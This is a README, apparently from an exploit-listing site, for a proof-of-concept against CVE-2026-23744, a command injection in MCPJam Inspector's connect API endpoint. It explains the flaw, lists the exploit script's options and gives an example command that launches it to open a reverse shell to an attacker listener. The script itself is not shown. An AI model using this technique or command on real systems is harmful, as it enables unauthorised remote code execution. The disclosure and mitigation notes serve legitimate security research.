## https://sploitus.com/exploit?id=08BE5839-6AAC-504B-8255-ECBEFFBD42A3
# CVE-2026-23744 – MCPJam Inspector Unauthenticated RCE PoC
## **Disclaimer:**
This proof-of-concept is provided **exclusively** for authorised security research, educational purposes, and controlled lab environments (e.g., HTB, CTF, or internal penetration testing with explicit written consent). Unauthorised use against any system without permission is illegal and unethical. The author assumes no liability for misuse; users are solely responsible for complying with all applicable laws and regulations.
---
## Description
**CVE-2026-23744** is an unauthenticated command injection vulnerability in MCPJam Inspector (version ≤ 1.4.2).
The `/api/mcp/connect` endpoint accepts a JSON payload with `serverConfig.command` and `serverConfig.args` and passes them directly to a system process spawn without any sanitisation. An attacker can send a crafted request to execute arbitrary system commands, gaining a reverse shell with the privileges of the service user.
This repository contains a full working exploit script with an automatic PTY‑based interactive listener.
---
## Requirements
- Python 3.6+
- `requests` library (`pip install requests`)
---
## Usage
```bash
python3 exploit.py -t -l [-r ] [--ssl] [--check-only] [--no-listen]
```
| Option | Description |
|--------|-------------|
| `-t, --target` | Target hostname or IP (required) |
| `-p, --port` | Target port (default: 6274) |
| `-l, --lhost` | Your IP for the reverse shell (required) |
| `-r, --lport` | Your listener port (default: 4444) |
| `--ssl` | Use HTTPS instead of HTTP |
| `--check-only` | Only check vulnerability, don't send shell |
| `--no-listen` | Don't start auto‑listener (use your own `nc`) |
### Example
```bash
python3 exploit.py -t devhub.htb -l 10.10.14.111 -r 4444
```
---
## Mitigation
- Sanitise all user‑supplied arguments passed to process‑spawning functions.
- Do not allow arbitrary command execution via API endpoints without strict whitelisting and authentication.
- Run services with the least privileges – never as `root`.
---
## License
This repository is for educational and authorised testing purposes only. Use at your own risk.
---
**Author:** amao26
**Date:** August 2026
```